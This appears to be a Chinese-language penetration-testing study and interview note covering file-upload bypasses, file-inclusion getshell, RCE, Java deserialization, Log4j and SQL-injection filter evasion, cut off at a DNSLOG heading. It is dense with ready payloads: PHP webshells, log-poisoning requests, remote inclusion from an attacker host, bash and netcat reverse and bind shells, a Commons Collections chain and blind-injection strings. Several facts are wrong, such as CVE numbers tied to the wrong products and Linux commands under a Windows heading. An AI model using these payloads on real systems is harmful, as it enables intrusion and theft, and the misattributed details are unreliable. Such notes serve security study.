文件上传

文件上传靶场操作可以看这篇文章
pikachu+xss+ssti-labs汇总 - Sky's Blog

绕过手法

客户端js绕过

只在前端检查文件类型
绕过方法
禁用JavaScript:在浏览器中禁用JavaScript,或者在BurpSuite中修改文件名后缀
抓包修改文件名:正常上传一个合法的图片文件(1.jpg),然后使用 Burp Suite 拦截数据包,将文件名修改为 1.php。由于服务器后端没有进行二次验证,就会直接上传成功

MIME类型绕过

服务器有时会通过检查 HTTP 请求头中的 Content-Type 字段来验证文件类型。例如,一个图片的 Content-Type 通常是 image/jpeg 或 image/png
绕过方法
修改 Content-Type: 攻击者可以上传一个 webshell.php 文件,同时在抓包工具中将 Content-Type 字段从 application/octet-stream(默认值)修改为 image/jpeg。如果后端只依赖这个字段进行判断,恶意文件就会上传成功

文件头内容检测绕过(魔术字节)

“图片马”: 攻击者可以将恶意代码嵌入到图片文件中,制作成一个“图片马”

可以用画图画一个最小的图片
常的图片(1.jpg)和一个包含恶意代码的文本文件(shell.php),内容为 <?php eval($_POST['cmd']);?>

copy 1.jpg/b + shell.php/a webshell.jpg

利用
上传 webshell.jpg 文件。如果服务器检查了文件头,但没有检查文件内容,就会上传成功。
然后,攻击者需要找到一种方法来解析这个图片文件,使其作为 PHP 代码执行。这通常需要结合 文件包含漏洞(LFI) 来实现,例如 include('webshell.jpg'),或者一些服务器配置错误(如 Apache 的 .htaccess 配置)

文件名、路径绕过

服务器通常会有一份黑名单或白名单来限制可上传的文件扩展名。黑名单会阻止 .php, .asp, .jsp 等脚本文件,而白名单只允许 .jpg, .png, .gif 等图片文件
 a. 黑名单绕过
大小写绕过: shell.Php、shell.pHP 等
文件后缀名加空格或点: 在 Windows IIS 服务器上,文件名末尾的空格或点会被自动去除
shell.php (空格)
shell.php.(点)
双重扩展名: 某些服务器只检查最后一个扩展名
shell.php.jpg:上传后,如果服务器处理不当,可能会被当做 shell.php 来执行。
特殊字符绕过: 利用一些特殊字符,如 shell.php%00.jpg(00 截断)
00截断: 在 PHP 5.3 之前,PHP 的 move_uploaded_file() 函数在处理文件名时,遇到 0x00 字节会截断后面的内容。攻击者可以在文件名中注入 %00,如 shell.php%00.jpg,上传时,服务器只检查 .jpg,但实际保存的文件名是 shell.php

 b. 白名单绕过
服务器解析漏洞:
Apache: 如果服务器配置了 AddHandler php5-script .jpg,那么所有 .jpg 文件都会被当作 PHP 脚本来解析

IIS 6.0: 目录解析漏洞,例如 /xx.asp/shell.jpg。服务器会把 shell.jpg 当作 ASP 脚本执行

IIS 7.0/7.5: web.config 配置文件解析漏洞。攻击者可以上传一个恶意的 web.config 文件来改变目录的解析规则

竞争条件(Race Condition):
一些服务器在处理文件上传时,会先将文件临时保存,然后进行安全检查,最后再重命名或移动到目标目录
利用方法: 攻击者可以利用这个时间差,在文件被检查并删除之前,迅速访问该文件

步骤:
上传一个包含恶意代码的脚本文件(如 shell.php),其中恶意代码会创建一个新的 Webshell 文件
在文件上传成功后,但在服务器删除它之前,通过一个脚本循环快速访问该文件
恶意脚本被执行,并创建一个新的、无法被删除的 Webshell 文件

文件包含

协议

本地文件包含LFI协议

file://

它允许你直接引用本地文件系统中的文件

/vuln.php?file=file:///etc/passwd

如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 ../ 来遍历目录,从而访问到 Web 根目录以外的敏感文件

远程文件包含协议

远程文件包含通常出现在php中,当allow_url_include和allow_url_fopen配置都开启时,web应用可以包含远程服务器上的文件

在开发为啥要开启allow_url_include和allow_url_fopen?

配置项

核心作用

默认值(PHP)

allow_url_fopen

允许 PHP 的文件操作函数(如fopen()、file_get_contents())访问远程 URL 资源(http/ftp 等),把远程资源当作 “本地文件” 处理

On(开启)

allow_url_include

允许include/require等文件包含函数,直接包含远程 URL 对应的文件(是allow_url_fopen的 “高危扩展”)

Off(关闭)

allow_url_include开启的场景(仅开发环境):



  • 测试文件包含逻辑:如果项目有 “合法的远程包含” 需求(极少见,比如多服务器共享通用配置文件),开发时需要验证该逻辑是否正常,开启后可直接测试include("http://dev-server/common.php");
  • 调试漏洞 / 安全测试:如果是安全相关的开发(如 Web 安全工具、漏洞扫描器),需要测试 “远程文件包含(RFI)” 漏洞的触发条件,必须开启该配置才能复现场景

php://filter

对包含文件进行过滤操作,比如编码或解码。读取PHP文件的源码,因为源码中可能包含数据库凭证等信息
如果读取sql密码后,就可以用sql拿shell

/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input

直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法
在 POST 请求中,发送数据<?php system($_GET['cmd']); ?>,同时访问http://example.com/vuln.php?file=php://input

data://

协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件

在 URL 中直接执行恶意代码

http://example.com/vuln.php?file=data://text/plain,<?php%20system('id');%20?>

如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效

phar://

这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作
利用 PHP 反序列化漏洞,执行任意命令

http://example.com/vuln.php?file=phar:///path/to/archive.phar

这种攻击方式通常需要配合一个反序列化漏洞才能成功

此外还可以上传phar文件,phar文件可以改成任意文件后缀,且不受影响解析

[伪协议](PHP伪协议 - A5trid - 博客园)

怎么拿shell?

本地文件LFI包含怎么拿shell

本地文件包含的拿shell方法通常需要结合其他漏洞或技巧。
攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码

日志文件 Getshell

这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如access.log 或 error.log)

利用
通过一个特制的 HTTP 请求,将恶意代码(如Webshell 代码)注入到服务器的日志文件中。例如再 URL 中加入或在 User-Agent 字段中写入 Webshell 代码:

<?php eval($_GET['cmd']);?>

完整的 HTTP 请求可能看起来像这样:

GET /?page=test.php HTTP/1.1  
Host: example.com  
User-Agent: <?php system('whoami');?>

这样,服务器的 access.log 文件中就会记录下这段恶意代码

包含日志文件:利用 LFI 漏洞,通过文件包含参数(如 page 或 file),包含日志文件

http://example.com/index.php?file=../../../../var/log/apache2/access.log

当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的system('whoami'); 命令


获取 Webshell:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了

http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -al

Session 文件 拿shell

某些web应用会将用户的seesion信息保存在服务器的/tmp/目录下的文件中,文件命名 7通常为sess_PHPSESSID

如果攻击者可以控制Session数据,就能通过LFI 包含该文件getshell

利用
设置 Session 值:通过 $_SESSION 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时

$_SESSION['username'] = "<?php eval($_POST['cmd']);?>";

获取 Session 文件路径:通常 Session 文件的命名是 sess_ 加上 Session ID。可以通过浏览器 Cookies 中的PHPSESSID 来获取

http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7 


执行恶意代码:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行


/proc/self/environ 拿shell

在 Linux 系统中,/proc/self/environ 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它

利用步骤:

设置 User-Agent:发送一个带有恶意 User-Agent 的请求

GET /index.php?page=test.php HTTP/1.1  
Host: example.com  
User-Agent: <?php system('whoami');?>

包含环境变量文件:

http://example.com/index.php?file=../../../../proc/self/environ

执行恶意代码:成功包含后,恶意代码即被执行
远程文件包含 (RFI) Getshell

RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件

利用步骤:

制作 Webshell 文件:在攻击者自己的服务器上创建一个 Webshell 文件,例如 shell.txt,内容如下:

<?php eval($_POST['cmd']);?>

为了绕过一些过滤,文件名可以不使用 .php 后缀,例如 shell.txt 或 shell.jpg

启动 HTTP 服务:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管shell.txt:

python3 -m http.server 80   

远程文件包含:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 shell.txt

http://example.com/index.php?file=http://attacker-ip/shell.txt

注意:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 data://)等技巧

连接 Webshell:如果成功,shell.txt 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了

POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1  
Host: example.com  
Content-Type: application/x-www-form-urlencoded

cmd=ls -al  


RCE

简介

rce就是命令执行和代码执行
为什么会rce产生,像ssti,sql,xxe,反序列化,文件上传,框架 / 解析器漏洞类,配置 / 权限错误类等等漏洞,对用户输入未作严格过滤都可能有rce漏洞
rce是危害最大的漏洞!!!

为什么会造成rce?

核心原理是应用程序未对用户输入进行严格过滤,将用户可控输入直接拼接进系统命令执行函数(如system、exec),导致攻击者注入的恶意命令被系统执行。 例如:应用程序通过system("ping " + $_GET['ip'])执行 ping 命令,若用户输入127.0.0.1;ls,则拼接后命令变为ping 127.0.0.1;ls,其中;ls会被作为新命令执行,最终执行ls查看文件。
不同服务器的命令执行区别不同可以看Linux与Windows命令对比_windows与linux命令差异一览表-CSDN博客


代码执行命令执行区别

远程代码执行远程命令执行的区别?

对比维度

远程命令执行(Command Execution)

远程代码执行(Code Execution)


执行层面

操作系统层(Shell)

编程语言解释器层


依赖环境

依赖系统 Shell(bash/cmd.exe/PowerShell)

依赖编程语言解释器(PHP/Python/Java虚拟机)


执行对象

系统命令(ls、whoami、netstat)

编程语言代码(phpinfo()、print()、eval())


权限继承

直接继承 Web 服务进程的系统权限

先继承解释器权限,执行命令时再继承系统权限


典型危险函数(PHP)

system()、exec()、passthru()、shell_exec()

eval()、assert()、preg_replace(/e模式)


典型危险函数(Python)

os.system()、subprocess.call()

exec()、eval()、execfile()


绕过重点

绕过分隔符(;、&、

)、命令关键字过滤

绕过函数禁用、代码语法过滤、沙箱限制

覆盖范围

仅能执行系统命令,能力有限

可执行代码+调用系统命令,覆盖更广


怎么利用其他漏洞去rce

sql怎么去RCE?

MySQL root 权限下调用sys_exec();
Payload:select sys_exec('ls /etc');(需安装lib_mysqludf_sys插件)

ssti怎么去rce?

漏洞代码:return render_template_string("Hello " + name);
Payload:{{ __import__('os').popen('ls').read() }}。

xxe怎么去rce?

Java 解析 XML 时允许外部实体,且系统支持expect协议;
Payload:<!ENTITY xxe SYSTEM "expect://id">(执行id命令)。

框架 / 解析器漏洞类怎么RCE?

漏洞类型

触发原因

典型场景 / 例子

模板引擎漏洞(如 Freemarker)

框架自身的语法 / 函数设计缺陷,允许执行代码

- 场景:FreeMarker 模板中调用危险函数;

- Payload:${"freemarker.template.utility.Execute"?new()("id")}。

服务器解析漏洞(结合文件上传)

服务器对文件后缀 / 内容的解析规则缺陷,导致上传的脚本被执行

- 场景:Apache 解析漏洞(1.php.xxx被当作 PHP 执行);

- 配合文件上传:上传shell.php.xxx,访问后触发代码执行。

脚本引擎漏洞(如 PHP/Java)

解释器自身的内存溢出 / 逻辑漏洞,触发后执行任意代码(0day/1day)

- 例子:PHP 7.4.x 代码执行漏洞(CVE-2021-41773)、Java 反序列化漏洞(CVE-2017-10271)。

反序列化

漏洞类型

触发原因

典型场景 / 例子

PHP 反序列化

unserialize()解析恶意序列化字符串,触发魔术方法(__wakeup/__destruct)

- 场景:用户输入被直接传入unserialize();

- 例子:构造 POP 链调用eval()执行代码。

Java 反序列化

反序列化恶意对象,触发链调用执行命令(如 Commons Collections 漏洞)

- Payload:利用 CC 链构造的序列化数据,触发Runtime.getRuntime().exec("id")。

Python 反序列化

pickle.loads()解析恶意数据,执行内嵌的代码

- 漏洞代码:pickle.loads(request.data);

- Payload:构造包含os.system('ls')的 pickle 数据。

文件上传

漏洞类型

触发原因

典型场景 / 例子

文件上传漏洞

上传恶意脚本文件(如 PHP/ASPX),且文件能被服务器解析

- 场景:上传shell.php(内容<?php eval($_POST['cmd']);?>)到 Web 可访问目录;

- 访问该文件即可执行任意代码。

文件包含漏洞(LFI/RFI)

包含本地 / 远程恶意脚本文件,触发代码执行

- 本地包含(LFI):include($_GET['file']) → Payload:?file=../../upload/shell.php;

- 远程包含(RFI):开启allow_url_include后,包含远程 PHP 脚本。

路径遍历 + 文件写入

写入恶意脚本到 Web 目录,再通过访问文件执行

- 场景:file_put_contents($_GET['path'], $_POST['content']);

- Payload:?path=/var/www/html/shell.php + POST 内容:<?php system('ls');?>。

配置 / 权限错误类

漏洞类型

触发原因

典型场景 / 例子

弱口令 / 未授权访问

登录后台后可执行代码(如后台有 “代码执行” 功能、“命令行” 工具)

- 场景:Tomcat 弱口令登录后台,部署 war 包执行代码;

- 例子:Jenkins 未授权访问,执行构建脚本触发命令执行。

危险配置开启

框架 / 服务器开启危险功能,允许执行代码

- 场景:PHP 开启register_globals/allow_url_include;

- 例子:Python Flask 开启debug=True,调试模式下的 PIN 码破解后执行代码。

容器 / 云服务配置错误

Docker/K8s/S3 存储桶配置不当,导致执行恶意代码

- 场景:Docker API 未授权访问,创建容器并挂载主机目录执行命令;

- 例子:S3 存储桶公开写权限,上传恶意脚本并触发执行。

代码执行的函数有什么?

代码执行的函数有哪些?

代码执行函数指直接将输入作为代码解析执行的函数,分语言举例:

  • PHP:eval()、assert()、preg_replace()(带/e修饰符)、array_map ()、create_function()、call_user_func ()
  • Python:exec()、eval()
  • Java:ScriptEngine.eval()(如 Rhino 引擎)、Runtime.exec()(间接执行字节码)
  • JavaScript:eval()

命令执行的函数有哪些?

命令执行函数指直接调用操作系统命令的函数,分语言 / 场景举例:

  • PHP:system()、exec()、shell_exec()、passthru()、popen()、proc_open()
  • Python:os.system()、os.popen()、subprocess.call()、subprocess.Popen()
  • Java:Runtime.getRuntime().exec()
  • 系统层面:Linux 的system()、Windows 的CreateProcess()

php 能远程执行的函数有什么?

PHP 中可用于远程执行(代码 / 命令)的函数主要包括:

  • 代码执行:eval()、assert()(5.4 前)、create_function()、preg_replace('/pattern/e', ...)(PHP 7.0 前)、call_user_func()(动态调用执行函数)。
  • 命令执行:system()、exec()、shell_exec()、passthru()、popen()、proc_open()。
  • 间接执行:include()/require()(远程包含文件时执行代码,需allow_url_include=On)。

RCE 漏洞有什么危害、利用方式及防御措施?

  • 危害: 攻击者可完全控制目标系统(如读取 / 篡改文件、窃取数据)、横向渗透内网、植入恶意程序(如勒索软件,挖矿)、瘫痪服务等,是最高危漏洞之一。
  • 利用方式: 直接执行命令(如ls、whoami)获取信息;写入 webshell 持久化控制;通过命令提权(如sudo、内核漏洞)获取更高权限;下载恶意文件(如wget)扩大影响。
  • 防御措施:
  • 输入严格过滤:用白名单限制允许的字符 / 命令,禁止特殊符号(如;、|、&)。
  • 避免直接拼接执行:使用安全 API(如参数化调用,避免system("cmd " + input))。
  • 最小权限运行:应用程序以低权限用户(如 www-data)运行,限制文件 / 系统访问权限。
  • 禁用危险函数:通过php.ini的disable_functions禁用eval、system等。


通过RCE怎么去拿shell?

写马

linux

echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php

windows
注意特殊转义符号

echo ^<?php @eval($_POST["cmd"]);?^> > C:\www\shell.php

cat如何绕WAF?

读文件命令替换

cat
more:一页一页的显示档案内容 
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
od -c:八进制显示
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag


绕 php.ini 中 disable_function 的限制?有哪些方法?其中成功率最高的是哪个?为什么?

LD_PRELOAD 劫持(Linux):上传自定义共享库(.so 文件),通过putenv("LD_PRELOAD=/tmp/evil.so")预加载,劫持system等函数实现命令执行。
PHP 扩展漏洞:利用imap、gd等扩展的漏洞(如imap_open的命令注入)绕过限制。
FFI 扩展:若启用FFI(Foreign Function Interface),可直接调用系统函数执行命令。
Windows COM 组件:在 Windows 系统中,通过COM("WScript.Shell")调用系统命令。

成功率最高的是 LD_PRELOAD 劫持: 原因:兼容性强(适用于大多数 Linux 系统),无需依赖特定 PHP 扩展(仅需putenv和mail等未被禁用的函数),且实现逻辑简单(通过动态链接库劫持系统函数),对环境要求低,因此实际场景中成功率最高。


面试篇

代码执行、命令执行的函数有哪些?

前面写了,这里就不赘述了

正向 Shell 和反向 Shell 区别?

  • 正向 Shell(目标机执行):
    nc -lvp 8888 -e /bin/bash(目标绑定 8888 端口,执行 bash)
    攻击者执行:nc 目标IP 8888 → 获取 Shell。
  • 反向 Shell(目标机执行):
    攻击者先监听:nc -lvp 8888
    目标机执行:bash -i >& /dev/tcp/攻击者IP/8888 0>&1 → 主动连攻击者,交出 Shell。


如何从非交互的 Shell 提升为交互 Shell?

Windows系统

法一:python提交互

# 目标机执行(需安装Python)
python -c 'import pty; pty.spawn("/bin/bash")'
# 进阶:设置TERM环境变量,补全更友好
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg  # 回车后即可交互

法二:script命令

script /dev/null -c bash  # /dev/null模拟终端,-c执行bash

法三:socat提权
socat 提权(稳定性最高)
攻击者端:

socat file:tty,raw,echo=0 tcp-listen:8888

目标端:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击者IP:8888

法四:利用msfconsole提权

# 攻击者端(msf)
msfconsole
use exploit/multi/script/web_delivery
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 你的IP
set LPORT 8888
run
# 目标端执行生成的Python命令,获取meterpreter交互Shell

Linux系统

PHP disable_functions() 绕过方法?
PHP 的 %00 截断的原理
站库分离怎么拿 Shell

java-rce篇

Java反序列化漏洞导致RCE的核心原理,并以Apache Commons Collections 3.x为例,描述攻击链的构造过程(需包含关键类和方法)

环境:Apache Commons Collections 3.x 框架

Transformer[] transformers = new Transformer[]{
    // 第1个Transformer:返回固定常量 → Runtime.class(Runtime类的Class对象)
    new ConstantTransformer(Runtime.class),
    
    // 第2个Transformer:反射调用Runtime.class.getMethod("getRuntime", null)
    // 参数说明:
    // "getMethod" → 要调用的方法名;
    // new Class[]{String.class, Class[].class} → getMethod的参数类型(方法名+参数类型数组);
    // new Object[]{"getRuntime", null} → getMethod的参数值(获取getRuntime()方法,无参数);
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    
    // 第3个Transformer:反射调用上面得到的Method.invoke(null, null)
    // 作用:执行getRuntime()方法(静态方法,第一个参数为null),得到Runtime实例;
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    
    // 第4个Transformer:反射调用Runtime实例.exec("calc.exe"),执行系统命令;
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

防御:升级到Commons Collections 4.0+,或使用SerialKiller等反序列化过滤器


在Spring框架中,如何通过SpEL(Spring Expression Language)注入实现RCE?请结合CVE-2022-22963漏洞说明利用条件及Payload构造。

  • 漏洞背景:Spring Cloud Gateway在3.1.0及以下版本中,未对X-Forwarded-Prefix头进行过滤,导致SpEL表达式注入。
  • 利用条件:目标启用Actuator API且路由配置允许动态修改。
    payload构造
POST /actuator/gateway/routes/test_route HTTP/1.1
{
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test_route"}
  }],
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "X-Response",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()))}"
    }
  }]
}
  • 触发执行:访问/actuator/gateway/refresh刷新配置后,请求/test_route触发表达式解析。
  • 修复:升级到3.1.1+,禁用动态路由或过滤危险Header。

假设目标系统对用户输入的RCE Payload进行了黑名单过滤(如禁止Runtime、ProcessBuilder等关键词),请列举三种绕过方式并举例说明。

反射调用:通过反射获取Runtime类:

Class<?> clazz = Class.forName("java.lang." + "Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(null), "calc");

Unicode/Hex编码:

// u0020 表示空格,绕过字符串检测
String cmd = "cu" + "u0020" + "rl example.com";

利用其他危险类:如ScriptEngine执行JS代码:

new javax.script.ScriptEngineManager()
  .getEngineByName("JavaScript")
  .eval("java.lang.Runtime.getRuntime().exec('calc')");

如何通过静态分析工具(如CodeQL)挖掘Java应用中潜在的RCE反序列化链?请描述关键分析步骤。

识别危险方法:定义Sink点(如Runtime.exec()、Method.invoke())。
追踪数据流:从反序列化入口(ObjectInputStream.readObject())到Sink点的数据流路径。
识别Gadget链:查找可连接Sink与Source的调用链(如readObject() → Transformer.transform() → InvokerTransformer)。
过滤无害调用:排除无参数传递或不可控的路径。
验证利用可行性:检查类是否可实例化、方法是否公开等。


  • 示例CodeQL查询:
from Callable source, Callable sink
where source.getAParameter().getType().hasName("ObjectInputStream")
  and sink.hasName("exec")
  and exists(DataFlow::path(source, sink))
select sink, source

如何绕过Java Security Manager的沙箱限制实现RCE?请举例说明。

漏洞场景:若策略文件配置错误(如允许createClassLoader权限)。
绕过方式:
定义恶意类加载器:通过自定义ClassLoader加载并执行字节码。
利用JNI本地库:调用JNI方法执行本地代码(需loadLibrary权限)。
反射修改Policy:通过反射修改Policy对象,动态添加权限:

Field policyField = Policy.class.getDeclaredField("policy");
policyField.setAccessible(true);
Policy policy = (Policy) policyField.get(null);
// 添加AllPermission到策略

Log4j2的JNDI注入漏洞(CVE-2021-44228)如何导致RCE?请说明攻击流程及防御方案。

攻击流程:
攻击者在日志中注入${jndi:ldap://attacker.com/Exploit}。
Log4j2解析日志时触发JNDI请求,从恶意服务器加载远程类。
恶意类(如Exploit.class)的静态代码块中执行Runtime.getRuntime().exec("curl attacker.com/shell")。
防御:
升级到Log4j 2.17.0+,默认禁用JNDI查找。
设置环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true。
使用WAF过滤${jndi:等关键字。


SQL注入

WAF绕过

post和get都做了防注入,用什么方法绕

许多 Web 应用程序不仅处理 POST 和 GET 数据,还会依赖于 HTTP 请求头中的信息。如果这些头信息没有经过严格的过滤,就可能成为注入点

  • User-Agent: 很多网站会记录访问者的 User-Agent 信息。如果后台程序直接将 User-Agent 拼接到 SQL 查询中,就可能存在注入
  • X-Forwarded-For: 这个头通常用于获取用户的真实 IP 地址。当网站部署了负载均衡或 CDN 时,它会记录用户的原始 IP。同样,如果处理不当,也可能成为注入点
  • Cookie: 网站通常会使用 Cookie 来存储会话信息或其他用户数据。如果 Cookie 中的某个值直接参与了 SQL 查询,就可能被利用
  • Referer: 网站会记录用户是从哪个页面跳转过来的。如果这个信息直接被用于查询,同样存在风险
    绕过方式: 以 User-Agent 为例,你可以使用 Burp Suite 或其他抓包工具,在请求头中修改 User-Agent 的值,构造 SQL 注入 Payload。 例如:User-Agent: ' OR 1=1--


单引号过滤绕过

双引号
十六进制

完整 URL 注入: id=0x27206f7220313d31202d2d20
最终执行的 SQL: SELECT * FROM users WHERE id = 'or 1=1 -- '

宽字节

%df
SELECT * FROM users WHERE id = '1運''... ('運' 是一个汉字) 后面的 ' 就成为我们控制的单引号

反斜线 \ 绕过addslashes

在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” addslashes 自动添加的反斜线
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: id=1\'
服务器端处理:

  1. PHP 的 addslashes() 函数收到 1'
  2. 它在 ' 前面加上 \,变成 1\'
  3. 如果前端的输入是 1\', addslashes 会将 \' 变为 \\'
    这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它
char()函数绕过

char() 函数可以将数字转换为字符。你可以利用这个函数来构造单引号
注入尝试: id=1 and 1=1 and (select char(39)) id=1 union select 1,2,3 from users where username=char(39)adminchar(39)

使用like语句绕过

在某些盲注场景下,如果无法使用单引号,可以尝试使用 like 语句来代替 union 或 and
注入尝试: id=1 and 1 like 1 and 1=1 -- id=1 and 1 like database()
这种方法适用于特定的 SQL 语句结构,但并非万能

盲注过滤if绕过手法

1. 利用 CASE WHEN 语句
CASE WHEN 语句是 SQL 中最常见的条件判断表达式,其功能与 IF() 函数非常相似,且通常不会被安全设备过滤

  • 语法: CASE WHEN [condition] THEN [value1] ELSE [value2] END
  • 布尔盲注绕过: SELECT * FROM users WHERE id = 1 AND CASE WHEN (1=1) THEN 1 ELSE 2 END = 1
  • 时间盲注绕过: SELECT * FROM users WHERE id = 1 AND CASE WHEN (SUBSTRING(database(),1,1) = 'd') THEN SLEEP(5) ELSE 0 END

2. 利用 UNION + 错误信息
当 IF() 被过滤,但 UNION 和错误信息回显没有被完全禁用时,我们可以利用 UNION 来触发自定义的错误信息,从而进行布尔盲注

  • 原理: 通过 UNION 将一个错误的查询结果与正常的查询结果合并,当错误的查询语句执行时,数据库会返回错误信息,其中可能包含我们想要的数据
  • 绕过方式: SELECT * FROM users WHERE id = -1 UNION SELECT 1, 2, 3 FROM DUAL WHERE (1=2) OR (1=1) UNION SELECT 1, 2, 3 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a 这个方法需要根据具体情况进行调整,利用数据库的语法错误或类型转换错误来触发自定义的错误信息

3. 利用位运算和 LIKE 语句
当数据库不支持 IF() 或 CASE 语句时,我们可以利用逻辑运算和位运算来逐位判断数据

  • 原理: LIKE 语句可以用于模糊匹配,我们可以将它和数据库中的数据结合起来,逐个字符地猜解
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND username LIKE 'a%' 如果该查询返回结果,则说明 username 的第一个字符是 'a'。我们可以通过不断改变 % 前的字符来逐个猜解数据

4. 利用 benchmark() 函数
在 MySQL 中,benchmark() 函数可以用来执行指定的函数多次,从而消耗大量时间。这可以用来替代 SLEEP() 函数进行时间盲注

  • 原理: BENCHMARK(count, expr) 会重复执行 expr 表达式 count 次。如果 expr 包含一个耗时的操作,我们可以根据执行时间来判断条件是否成立
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000, MD5(1)) AND (SUBSTRING(database(),1,1) = 'd')

如果条件 (SUBSTRING(database(),1,1) = 'd') 成立,BENCHMARK 函数就会被执行,页面响应会变慢。否则,页面会立即响应

5. 利用 get_lock() 函数
在 MySQL 中,GET_LOCK() 函数可以用于获取一个全局锁,如果锁已被其他会话占用,该函数会等待直到锁被释放或超时

  • 原理: 我们可以利用 GET_LOCK() 函数设置一个长达数秒的锁,从而实现时间盲注的效果
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND IF((SUBSTRING(database(),1,1)='d'), GET_LOCK('hack', 5), 0)
    如果条件成立,GET_LOCK 会被执行,页面会等待 5 秒

6. 利用 ELT() 函数
ELT() 函数是 MySQL 中的一个字符串函数,它可以根据索引返回列表中的一个字符串

  • 原理: ELT(N, str1, str2, ...) 返回第 N 个字符串。我们可以将它与条件判断结合,实现布尔盲注
  • 绕过方式: SELECT * FROM users WHERE id = 1 AND ELT(1, 'false', 'true') 如果条件为真,ELT 会返回 true,否则返回 false

and和or被过滤怎么绕过

&&和||

&&和||和功能一样的

利用!、<>、not 等操作符
  • and 的替代:
  • if not (a=1) then ... 等价于 if a<>1 then ...
  • 我们可以利用 not 或 <> 来否定条件,从而实现 and 的效果
  • 例如: username=admin' or not ('1'='1' and '1'='2') 这句可以被改写为 username=admin' or not (1=1),这在逻辑上是错误的,我们可以利用它来测试
  • 更具体的绕过: id=1 and 1=2 可以被改写为 id=1 or not 1=1,这在布尔盲注中可以用来判断
利用union select进行盲注

当布尔条件失效时,可以尝试使用 union select 来进行盲注

  • 原理:
  • 正常情况下,union select 需要前后两个查询的列数一致
  • 我们可以利用这一点,通过 union select 来注入一个不存在的列,从而触发数据库的报错,通过报错信息来判断
  • 绕过方式:
  • 首先,使用 union 探测列数。 id=1 union select 1,2,3...
  • 然后,利用列数来进行盲注。 id=-1 union select 1, 2, user() like 'root%' 如果页面正常回显,则说明 user() 以 root 开头。通过这种方式,可以逐字逐句地猜解数据
利用if()函数的替代品

在布尔盲注中,if() 函数通常是不可或缺的。如果它和 and or 一起被过滤,那么需要寻找替代函数

  • case when ... then ... end: 这是 if() 函数最常见的替代品,功能完全一样,且通常不会被过滤
  • 例如: id=1 and (case when 1=1 then sleep(5) else 0 end)
  • 绕过: id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)
  • greatest() 和 least(): 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断
  • 例如: id=1 and greatest(1, (select if(1=1, 0, 1)))
  • 绕过: id=1 or greatest(ascii(substr(database(),1,1)), 100)>100
利用其他查询特性

当所有常用方法都被过滤时,可以尝试利用一些非常规的查询特性
having 子句: having 用于对 group by 的结果进行过滤。在一些情况下,having 后面可以接子查询,可以利用这一点进行注入
limit offset: 我们可以通过 limit 和 offset 来逐行读取数据,再结合其他技术进行判断


SQL注入无回显利用DNSLOG如何构造

MySQL/MariaDB
load_file

在 MySQL 和 MariaDB 中,LOAD_FILE() 函数和 UNC 路径(Windows 共享路径)是触发 DNS 查询的常用手段
LOAD_FILE()
用于读取文件内容,如果给一个UNC路劲,他会触发DNS查询
payload

